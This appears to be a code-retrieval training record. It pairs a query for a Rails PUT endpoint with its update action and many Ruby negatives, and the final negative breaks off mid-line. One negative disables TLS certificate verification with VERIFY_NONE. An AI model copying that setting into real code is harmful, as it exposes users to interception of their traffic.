[ "0.568386", "0.5615961", "0.556143", "0.53071696", "0.5302942", "0.5282424", "0.5253082", "0.5227075", "0.51156545", "0.5100632", "0.50992155", "0.5084646", "0.50764245", "0.50733185", "0.5062335", "0.50605386", "0.50602293", "0.50296885", "0.50226015", "0.5014628", "0.496211", "0.4961978", "0.49567163", "0.492388", "0.49091867", "0.49033347", "0.48965797", "0.48932087", "0.48878023", "0.48840344", "0.48776737", "0.48719624", "0.4866635", "0.48656487", "0.486519", "0.4864024", "0.48561248", "0.4850072", "0.48403227", "0.48387158", "0.48319215", "0.48294982", "0.48260808", "0.48096615", "0.48083276", "0.48042533", "0.48029187", "0.47953802", "0.47944313", "0.4791986", "0.4787456", "0.4787456", "0.47805846", "0.47783893", "0.47757998", "0.4773189", "0.47718996", "0.47692385", "0.47680482", "0.47677392", "0.47672182", "0.47651377", "0.47532532", "0.47523955", "0.4746199", "0.47398198", "0.4739244", "0.4738072", "0.47355893", "0.4730917", "0.4719437", "0.47145912", "0.4714451", "0.47117966", "0.47095147", "0.47032475", "0.47023302", "0.4697079", "0.46948248", "0.46904993", "0.46880496", "0.4687407", "0.46856615", "0.46826434", "0.46822146", "0.4678415", "0.46752235", "0.46689653", "0.46600097", "0.46588588", "0.46564105", "0.46546197", "0.4653977", "0.46538222", "0.46532547", "0.46521768", "0.46483654", "0.4646201", "0.46329153", "0.46294415" ]
0.5974314
0
PUT /agenciamadres/1 PUT /agenciamadres/1.xml
def update @agenciamadre = Agenciamadre.find(params[:id]) respond_to do |format| if @agenciamadre.update_attributes(params[:agenciamadre]) format.html { redirect_to(@agenciamadre, :notice => 'Agencia Madre fue actualizada satisfactoriamente.') } format.xml { head :ok } else format.html { render :action => "edit" } format.xml { render :xml => @agenciamadre.errors, :status => :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end", "def put(uri, xml)\r\n req = Net::HTTP::Put.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end", "def rest_update(uri, method: Net::HTTP::Put)\n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n doc = strip_class_attributes(yield doc)\n \n request2 = method.new uri\n request2.content_type = 'application/xml'\n auth_admin(request2)\n\n request2.body=doc.to_s\n \n response2 = http.request request2\n response.value\n\n end\n \nend", "def update_xml\n self.xml= dumpRouteAsXml\n self.save\n end", "def test_put_expenses_1_xml\n @parameters = {:expense => {:description => 'NewDescription'}}\n if ActiveRecord::VERSION::MAJOR < 4\n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/expenses/1.xml',\n {:expense => {:description => 'NewDescription'}},\n {:success_code => :ok})\n end\n\n assert_no_difference('Expense.count') do\n put '/expenses/1.xml', @parameters, credentials('admin')\n end\n\n expense = Expense.find(1)\n assert_equal \"NewDescription\", expense.description\n end", "def update\n @frequencia_orgao = Frequencia::Orgao.find(params[:id])\n\n respond_to do |format|\n if @frequencia_orgao.update_attributes(params[:frequencia_orgao])\n format.html { redirect_to(@frequencia_orgao, :notice => 'Orgão atualizado com sucesso.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @frequencia_orgao.errors, :status => :unprocessable_entity }\n end\n end\n end", "def override\n document_id = params[:document_id]\n document = params[:document]\n document_type = params[:document_type]\n ticket = Document.ticket(Alfresco::Document::ALFRESCO_USER, Alfresco::Document::ALFRESCO_PASSWORD)\n\n builder = Nokogiri::XML::Builder.new(:encoding => 'UTF-8') do |xml|\n xml.entry(:xmlns => \"http://www.w3.org/2005/Atom\",\n \"xmlns:cmisra\" => \"http://docs.oasis-open.org/ns/cmis/restatom/200908/\",\n \"xmlns:cmis\" => \"http://docs.oasis-open.org/ns/cmis/core/200908/\") {\n xml.title document.original_filename if document\n xml.summary document_type\n if document\n xml.content(:type => document.content_type) {\n xml.text Base64.encode64(document.read)\n }\n end\n }\n end\n\n url = Document::PATH + \"cmis/i/#{document_id}?alf_ticket=\" + ticket\n\n begin\n RestClient.put url, builder.to_xml, {:content_type => 'application/atom+xml;type=entry'}\n rescue => e\n Rails.logger.info \"#\"*50\n Rails.logger.info \"Error updating file\"\n Rails.logger.info e.message\n Rails.logger.info \"#\"*50\n end\n\n redirect_to :controller => 'related_service_requests', :action => 'show', :anchor => 'documents', :service_request_id => params[:friendly_id], :id => params[:ssr_id]\n end", "def update\n @gene_ontology = GeneOntology.find(params[:id])\n\n respond_to do |format|\n if @gene_ontology.update_attributes(params[:gene_ontology])\n format.html { redirect_to(@gene_ontology, :notice => 'Gene ontology was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @gene_ontology.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @estagio = Estagio.find(params[:id])\n\n respond_to do |format|\n if @estagio.update_attributes(params[:estagio])\n flash[:notice] = 'Estagio was successfully updated.'\n format.html { redirect_to(@estagio) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @estagio.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update_aos_version(args = {}) \n id = args['id']\n temp_path = \"/aosversions.json/{aosVersionId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"aosversionId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "def test_put_invoices_1_xml\n @parameters = {:invoice => {:number => 'NewNumber'}}\n \n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/invoices/1.xml',\n {:invoice => {:number => 'NewNumber'}},\n {:success_code => :ok})\n \n assert_no_difference('Invoice.count') do\n put '/invoices/1.xml', @parameters, credentials('admin')\n end\n \n invoice = Invoice.find(1)\n assert_equal \"NewNumber\", invoice.number\n \n end", "def update\n @orc_suplementacao = OrcSuplementacao.find(params[:id])\n\n respond_to do |format|\n if @orc_suplementacao.update_attributes(params[:orc_suplementacao])\n flash[:notice] = 'SALVO COM SUCESSO.'\n format.html { redirect_to(@orc_suplementacao) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @orc_suplementacao.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @relatestagiario = Relatestagiario.find(params[:id])\n\n respond_to do |format|\n if @relatestagiario.update_attributes(params[:relatestagiario])\n flash[:notice] = 'RELATÓRIO SALVO COM SUCESSO.'\n format.html { redirect_to(@relatestagiario) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @relatestagiario.errors, :status => :unprocessable_entity }\n end\n end\n end", "def edit_axis2XML(carbon_home,http_port,https_port) \n\n\tFile.open(File.join(carbon_home , 'conf','axis2.xml')) do |config_file|\n\t\t# Open the document and edit the port (axis2.xml)\n\t\tconfig = Document.new(config_file)\n\t\t\n\t\tconfig.root.elements[25].elements[1].text=http_port\n\t\tconfig.root.elements[26].elements[1].text=https_port\n\t\n\t\t\n\t\t# Write the result to a new file.\n\t\tformatter = REXML::Formatters::Default.new\n\t\tFile.open(File.join(carbon_home , 'conf','result_axis2.xml'), 'w') do |result|\n\t\tformatter.write(config, result)\n\t\tend\n\tend \n\tFile.delete(File.join(carbon_home , 'conf','axis2.xml'))\n\tFile.rename( File.join(carbon_home , 'conf','result_axis2.xml'),File.join(carbon_home , 'conf','axis2.xml') )\n\nend", "def update\n @arrendamientosprorroga = Arrendamientosprorroga.find(params[:id])\n\n respond_to do |format|\n if @arrendamientosprorroga.update_attributes(params[:arrendamientosprorroga])\n format.html { redirect_to(@arrendamientosprorroga, :notice => 'Arrendamientosprorroga was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @arrendamientosprorroga.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @frequencia_setor = Frequencia::Setor.find(params[:id])\n\n respond_to do |format|\n if @frequencia_setor.update_attributes(params[:frequencia_setor])\n format.html { redirect_to(@frequencia_setor, :notice => 'Setor atualizado com sucesso.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @frequencia_setor.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n doc = Nokogiri::XML(request.body.read)\n cvNode = doc.xpath('elwak/checklisten_vorlage')\n\n update_params = {inaktiv: cvNode.xpath('inaktiv').text.to_s.to_bool}\n respond_to do |format|\n if @checklisten_vorlage.update(update_params)\n format.xml {render :xml => '<?xml version=\"1.0\" encoding=\"UTF-8\"?><success />'}\n else\n format.xml {render :xml => '<?xml version=\"1.0\" encoding=\"UTF-8\"?><error />'}\n end\n end\n end", "def update\n @acre = Acre.find(params[:id])\n\n respond_to do |format|\n if @acre.update_attributes(params[:acre])\n format.html { redirect_to(acres_path, :notice => 'Acre was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @acre.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end", "def update\n @ontology = SYMPH::Ontology.find(params[:id])\n\n respond_to do |format|\n if @ontology.update_attributes(params[:ontology])\n flash[:notice] = 'Ontology was successfully updated.'\n format.html { redirect_to(ontologies_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ontology.errors, :status => :unprocessable_entity }\n end\n end\n\t\n end", "def update\n @arc = Arc.find(params[:id])\n\n respond_to do |format|\n if @arc.update_attributes(params[:arc])\n flash[:notice] = 'Arc was successfully updated.'\n format.html { redirect_to(@arc) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @arc.errors, :status => :unprocessable_entity }\n end\n end\n end", "def put_datastream(pid, dsID, xml)\n uri = URI.parse(@fedora + '/objects/' + pid + '/datastreams/' + dsID ) \n RestClient.put(uri.to_s, xml, :content_type => \"application/xml\")\n rescue => e\n e.response \n end", "def update\n @estagiarios = Estagiario.find(params[:id])\n\n respond_to do |format|\n if @estagiarios.update_attributes(params[:estagiario])\n flash[:notice] = 'ESTAGIÁRIO SALVO COM SUCESSO.'\n format.html { redirect_to(@estagiarios) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @estagiarios.errors, :status => :unprocessable_entity }\n end\n end\n end", "def updategenres\n @album = Album.find(params[:id])\n album_param = params[:albums] \n album_param[:genres].each do |genre_id|\n genre = Genre.find(genre_id)\n @album.genres << genre \n end \n respond_to do |format|\n format.html { redirect_to(@album) }\n format.xml { head :ok }\n end \n end", "def update\n @vigencia = Vigencia.find(params[:id])\n\n respond_to do |format|\n if @vigencia.update_attributes(params[:vigencia])\n format.html { redirect_to(@vigencia, :notice => 'Vigencia was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @vigencia.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n enforce_permissions!('update', params[:id])\n\n param = params[:xml].presence || params[:metadata_file].presence\n\n if param\n xml_ds = XmlDatastream.new\n xml_ds.load_xml(param)\n else\n flash[:notice] = t('dri.flash.notice.specify_valid_file')\n redirect_to controller: 'catalog', action: 'show', id: params[:id]\n return\n end\n\n @object = retrieve_object!(params[:id])\n @errors = nil\n\n unless can? :update, @object\n raise Hydra::AccessDenied.new(t('dri.flash.alert.edit_permission'), :edit, '')\n end\n\n @object.update_metadata xml_ds.xml\n if @object.valid?\n checksum_metadata(@object)\n warn_if_has_duplicates(@object)\n\n begin\n raise DRI::Exceptions::InternalError unless @object.attached_files[:descMetadata].save\n rescue RuntimeError => e\n logger.error \"Could not save descMetadata for object #{@object.id}: #{e.message}\"\n raise DRI::Exceptions::InternalError\n end\n\n begin\n raise DRI::Exceptions::InternalError unless @object.save\n\n version_and_record_committer(@object, current_user)\n flash[:notice] = t('dri.flash.notice.metadata_updated')\n rescue RuntimeError => e\n logger.error \"Could not save object #{@object.id}: #{e.message}\"\n raise DRI::Exceptions::InternalError\n end\n else\n flash[:alert] = t('dri.flash.alert.invalid_object', error: @object.errors.full_messages.inspect)\n @errors = @object.errors.full_messages.inspect\n end\n\n @object.object_version ||= '1'\n @object.increment_version\n\n begin\n raise DRI::Exceptions::InternalError unless @object.save\n\n # Do the preservation actions\n preservation = Preservation::Preservator.new(@object)\n preservation.preserve(false, false, ['descMetadata','properties'])\n\n version_and_record_committer(@object, current_user)\n flash[:notice] = t('dri.flash.notice.metadata_updated')\n rescue RuntimeError => e\n logger.error \"Could not save object #{@object.id}: #{e.message}\"\n raise DRI::Exceptions::InternalError\n end\n\n respond_to do |format|\n format.html { redirect_to controller: 'my_collections', action: 'show', id: params[:id] }\n format.json { render json: @object }\n format.text do\n response = if @errors\n t('dri.flash.alert.invalid_object', error: @errors)\n else\n t('dri.flash.notice.metadata_updated')\n end\n\n render text: response\n end\n end\n end", "def put_resource_xml(modifier_el, resource_uri, opts)\n unless cid_attr = modifier_el['component_id']\n raise BadRequestException.new \"Missing attribute 'component_id' in component '#{ modifier_el.to_xml}'\" \n end\n \n component = _get_resource(resource_uri, modifier_el, opts)\n unless (cid = component.component_id).to_s == cid_attr\n raise BadRequestException.new \"Wrong 'component_id'. Expected '#{cid}', but got '#{cid_attr}'\"\n end\n component.update_from_xml(modifier_el, opts)\n component.save\n component\n end", "def create_doc\n\t\theaders = {:content_type => 'application/xml'}\n\t\turi = CGI.escape(\"/\" + rand(2).to_s() + \"/\" + rand(10).to_s() + \"/\" + rand(1000000).to_s() + \".xml\")\n\t\tresponse = @resource[\"/documents/\" + uri].put('<stuff xmlns=\"stuff\">' + uri + '</stuff>', headers)\n\t\treturn uri\n\tend", "def update\n @reputacao_veiculo = ReputacaoVeiculo.find(params[:id])\n\n respond_to do |format|\n if @reputacao_veiculo.update_attributes(params[:reputacao_veiculo])\n format.html { redirect_to(@reputacao_veiculo, :notice => 'A reputacao do veiculo foi atualizada com sucesso.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @reputacao_veiculo.errors, :status => :unprocessable_entity }\n end\n end\n end", "def put( doc, opts = {} )\n response = http_action :put, doc, opts.merge( :doc => doc )\n doc['_id'], doc['_rev'] = response['id'], response['rev'] if doc.kind_of? Hash\n response\n end", "def api_xml(path,method=:get,options={})\n xml_message(amee,\"/data\"+path,method,options)\n end", "def update\n replace_entry \"word/document.xml\", doc.serialize(:save_with => 0)\n end", "def netdev_resxml_edit( xml ) \n return xml\n end", "def update\n @association = Association.find(params[:id])\n\n respond_to do |format|\n if @association.update_attributes(params[:association])\n flash[:notice] = 'Association was successfully updated.'\n format.html { redirect_to(@association) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @association.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @supervisor_estagio = SupervisorEstagio.find(params[:id])\n\n respond_to do |format|\n if @supervisor_estagio.update_attributes(params[:supervisor_estagio])\n flash[:notice] = 'Supervisor de Estagio atualizado com sucesso.'\n format.html { redirect_to(@supervisor_estagio) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @supervisor_estagio.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @auto = Auto.find(params[:id])\n\n respond_to do |format|\n if @auto.update_attributes(params[:auto])\n format.html { redirect_to(@auto, :notice => 'Auto was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @auto.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @aviso = Aviso.find(params[:id])\n\n respond_to do |format|\n if @aviso.update_attributes(params[:aviso])\n format.html { redirect_to(@aviso, :notice => 'Aviso fue modificado exitosamente.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @aviso.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @articulo = Articulo.find(params[:id])\n\n respond_to do |format|\n if @articulo.update_attributes(params[:articulo])\n flash[:notice] = ''\n format.html { redirect_to(articulos_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @articulo.errors, :status => :unprocessable_entity }\n end\n end\n end", "def test_should_update_link_via_API_XML\r\n get \"/logout\"\r\n put \"/links/1.xml\", :link => {:user_id => 1,\r\n :title => 'API Link 1',\r\n :url => 'http://www.api.com'}\r\n assert_response 401\r\n end", "def update_ref_id(ref_id)\r\n node_set = self.datastreams[\"VRA\"].ng_xml.xpath('/vra:vra/vra:image[@refid]')\r\n node_set[0].set_attribute(\"refid\", ref_id)\r\n self.datastreams[\"VRA\"].content = self.datastreams[\"VRA\"].ng_xml.to_s\r\n end", "def update\n @advert = Advert.find(params[:id])\n\n respond_to do |format|\n if @advert.update_attributes(params[:advert])\n flash[:notice] = 'Advert was successfully updated.'\n format.html { redirect_to('/adverts') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @advert.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @res_allocation = ResAllocation.find(params[:id])\n\n respond_to do |format|\n if @res_allocation.update_attributes(params[:res_allocation])\n format.html { redirect_to @res_allocation, notice: 'Res allocation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @res_allocation.errors, status: :unprocessable_entity }\n end\n end\n end", "def update(id, name=\"Updated Name\", age=\"55\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <id type='integer'>#{id}</id>\r\n <name>#{name}</name>\r\n <age>#{age}</age> \r\n </person>\"\r\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n # no response body will be returned\r\n case response\r\n when Net::HTTPSuccess\r\n return \"#{response.code} OK\"\r\n else\r\n return \"#{response.code} ERROR\"\r\n end\r\n end", "def update_rest\n @item_usage = ItemUsage.find(params[:id])\n\n respond_to do |format|\n if @item_usage.update_attributes(params[:item_usage])\n flash[:notice] = 'ItemUsage was successfully updated.'\n format.html { redirect_to(@item_usage) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item_usage.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update_rest\n @page_usage_event = PageUsageEvent.find(params[:id])\n\n respond_to do |format|\n if @page_usage_event.update_attributes(params[:page_usage_event])\n flash[:notice] = 'PageUsageEvent was successfully updated.'\n format.html { redirect_to(@page_usage_event) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @page_usage_event.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @autore = Autore.find(params[:id])\n\n respond_to do |format|\n if @autore.update_attributes(params[:autore])\n format.html { redirect_to @autore, notice: 'Autore was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @autore.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @ingreso = Ingreso.find(params[:id])\n\n respond_to do |format|\n if @ingreso.update_attributes(params[:ingreso])\n format.html { redirect_to(@ingreso, :notice => 'Ingreso was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ingreso.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @orc_ata = OrcAta.find(params[:id])\n\n respond_to do |format|\n if @orc_ata.update_attributes(params[:orc_ata])\n flash[:notice] = 'SALVO COM SUCESSO'\n format.html { redirect_to(@orc_ata) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @orc_ata.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @arrendimientospago = Arrendimientospago.find(params[:id])\n\n respond_to do |format|\n if @arrendimientospago.update_attributes(params[:arrendimientospago])\n format.html { redirect_to(@arrendimientospago, :notice => 'Arrendimientospago was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @arrendimientospago.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @aauto = Aauto.find(params[:id])\n\n respond_to do |format|\n if @aauto.update_attributes(params[:aauto])\n format.html { redirect_to(@aauto, :notice => 'Aauto was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @aauto.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @descriptor_generico = DescriptorGenerico.find(params[:id])\n\n respond_to do |format|\n if @descriptor_generico.update_attributes(params[:descriptor_generico])\n flash[:notice] = 'Descriptor Generico se ha actualizado con exito.'\n format.html { redirect_to(admin_descriptor_genericos_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @descriptor_generico.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @node = Node.find(params[:id])\n @title = \"Taxonomy node - organism relationships\"\n\n respond_to do |format|\n if @node.update_attributes(params[:node])\n format.html { redirect_to(@node, :notice => 'Node was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @node.errors, :status => :unprocessable_entity }\n end\n end\n end", "def orchio_put(jdoc)\n response = client.send_request :put, inst_args(json: jdoc)\n if cache.enabled?\n simple_cache.save(\n Document.new(\n response.body.to_hash,\n Metadata.new(\n :collection => ocollection,\n :key => @id,\n :ref => response.header.etag\n )))\n end\n set_ref_value response\n orchio_status response, 201\n end", "def update\n @estatu = Estatu.find(params[:id])\n\n respond_to do |format|\n if @estatu.update_attributes(params[:estatu])\n format.html { redirect_to(@estatu, :notice => 'Registro actualizado correctamente.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @estatu.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create_update_volumes(username, token, workset_name, volume_ids)\n\n #<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n #<volumes xmlns=\"http://registry.htrc.i3.illinois.edu/entities/workset\">\n # <volume>\n # <id>9999999</id>\n # </volume>\n # <volume>\n # <id>3333333</id>\n # </volume>\n # </volumes>\n volumes_xml =\n \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"yes\\\"?>\" +\n \"<volumes xmlns=\\\"http://registry.htrc.i3.illinois.edu/entities/workset\\\">\";\n\n for id in volume_ids\n volumes_xml += \"<volume><id>#{id}</id></volume>\"\n end\n volumes_xml += \"</volumes>\"\n\n\n # curl -v --data @new_volumes.xml -X PUT \\\n # -H \"Content-Type: application/vnd.htrc-volume+xml\" \\\n # -H \"Accept: application/vnd.htrc-volume+xml\" \\\n # http://localhost:9763/ExtensionAPI-0.1.0/services/worksets/workset1/volumes?user=fred\n\n url = URI.parse(\"#{APP_CONFIG['registry_url']}/worksets/#{workset_name}\")\n http = Net::HTTP.new(url.host, url.port)\n if Rails.env.development?\n http.set_debug_output($stdout)\n end\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Put.new(url.path)\n request[\"Content-Type\"] = \"application/vnd.htrc-volume+xml\"\n request.add_field(\"Authorization\", \"Bearer #{token}\")\n\n request.body = volumes_xml\n response = http.request(request)\n\n #xml = response.body\n\n case response\n when Net::HTTPUnauthorized then\n raise Exceptions::SessionExpiredError.new(\"Session expired. Please login again\")\n when Net::HTTPSuccess then\n # Do nothing\n else\n raise Exceptions::SystemError.new(\"Error retrieving worksets (HTTP #{response.code})\")\n end\n end", "def update_rest\n @instrument_version = InstrumentVersion.find(params[:id])\n\n respond_to do |format|\n if @instrument_version.update_attributes(params[:instrument_version])\n flash[:notice] = 'InstrumentVersion was successfully updated.'\n format.html { redirect_to(@instrument_version) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @instrument_version.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @inventario = Inventario.find(params[:id])\n @foto = @inventario.foto\n \n @service = InventarioService.new(@inventario, @foto)\n respond_to do |format|\n\n if @inventario.update_attributes(params[:inventario],params[:foto_file])\n format.html { redirect_to(@inventario, :notice => 'Inventario was successfully updated.') }\n format.xml { head :ok }\n else\n\t @foto = @service.foto\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @inventario.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @especial = Especial.find(params[:id])\n\n respond_to do |format|\n if @especial.update_attributes(params[:especial])\n flash[:notice] = 'Especial was successfully updated.'\n format.html { redirect_to(@especial) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @especial.errors, :status => :unprocessable_entity }\n end\n end\n end", "def save\n return if @content.nil?\n put_rest \"extra/#{@name}\", @content, :content_type => \"application/octet-stream\"\n end", "def update\n # returning connection.put(element_path(prefix_options), to_xml, self.class.headers) do |response|\n returning connection.put(element_path(prefix_options), to_ssj, self.class.headers) do |response|\n load_attributes_from_response(response)\n end\n end", "def update\n @microarraygal = Microarraygal.find(params[:id])\n @title = \"Microarray GAL files\"\n\n respond_to do |format|\n if @microarraygal.update_attributes(params[:microarraygal])\n format.html { redirect_to(@microarraygal, :notice => 'Microarraygal was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @microarraygal.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @doc_artefact.update(doc_artefact_params)\n format.html { redirect_to @doc_artefact, notice: 'Doc artefact was successfully updated.' }\n format.json { render :show, status: :ok, location: @doc_artefact }\n else\n format.html { render :edit }\n format.json { render json: @doc_artefact.errors, status: :unprocessable_entity }\n end\n end\n end", "def pacscl_xml\n document = Blacklight.default_index.search(q: \"id:#{params[:id]}\")&.dig(\"response\", \"docs\")&.first\n document = SolrDocument.new(document)\n document.suppress_xml_containers!\n respond_to do |format|\n format.xml do\n render xml: document.export_as_xml\n end\n end\n end", "def update\n @especie_imagem = EspecieImagem.find(params[:id])\n\n respond_to do |format|\n if @especie_imagem.update_attributes(params[:especie_imagem])\n flash[:notice] = 'Imagem foi atualizado(a) com sucesso.'\n format.html { redirect_to(@especie_imagem) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @especie_imagem.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @agronomiaquimica = Agronomiaquimica.find(params[:id])\n\n respond_to do |format|\n if @agronomiaquimica.update_attributes(params[:agronomiaquimica])\n format.html { redirect_to @agronomiaquimica, notice: 'Agronomiaquimica was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @agronomiaquimica.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @xml_sample = XmlSample.find(params[:id])\n \n respond_to do |format|\n format.html do\n @xml_sample = XmlSample.update_attributes(params[:xml_sample])\n if @xml_sample.save\n return redirect_to @xml_sample, notice: 'Xml sample was successfully updated.'\n else\n return render action: \"new\"\n end\n end\n format.xml do\n rexml = REXML::Document.new(params[\"xml\"])\n attr = Hash.from_xml(rexml.to_s)\n if @xml_sample.update_attributes(attr[\"xmlsample\"])\n xml = {msg: \"complete\", status: \"OK\"}.to_xml\n else\n xml = {msg: \"failed\", status: \"NG\"}.to_xml\n end\n return render xml: xml\n end\n end\n end", "def update\n @regiaos = Regiao.find(params[:id])\n\n respond_to do |format|\n if @regiaos.update_attributes(params[:regiao])\n flash[:notice] = 'REGIÃO SALVA COM SUCESSO'\n format.html { redirect_to(@regiaos) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @regiaos.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_resveration\n @resveration = Resveration.find(params[:id])\n end", "def update\n @visaapp = Visaapp.find(params[:id])\n\n respond_to do |format|\n if @visaapp.update_attributes(params[:visaapp])\n flash[:notice] = 'Visaapp was successfully updated.'\n format.html { redirect_to(@visaapp) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @visaapp.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @envelope = Envelope.find(params[:id])\n\n respond_to do |format|\n if @envelope.update_attributes(params[:envelope])\n flash[:notice] = 'Envelope was successfully updated.'\n format.html { redirect_to(@envelope) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @envelope.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @agencium.update(agencium_params)\n format.html { redirect_to @agencium, notice: 'Agencium was successfully updated.' }\n format.json { render :show, status: :ok, location: @agencium }\n else\n format.html { render :edit }\n format.json { render json: @agencium.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @associate = Associate.find(params[:id])\n\n respond_to do |format|\n if @associate.update_attributes(params[:associate])\n flash[:notice] = 'Associate was successfully updated.'\n format.html { redirect_to(@associate) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @associate.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create_or_update(res_el, clean_state, authorizer)\n sparql = SPARQL::Client.new($repository)\n debug 'Admin CreateOrUpdate: resources: ', res_el.inspect\n\n unless res_el.is_a?(Array)\n res_el = [res_el]\n end\n resources = []\n res_el.each do |params|\n descr = params[:resource_description]\n descr = create_doctor(descr, authorizer) # 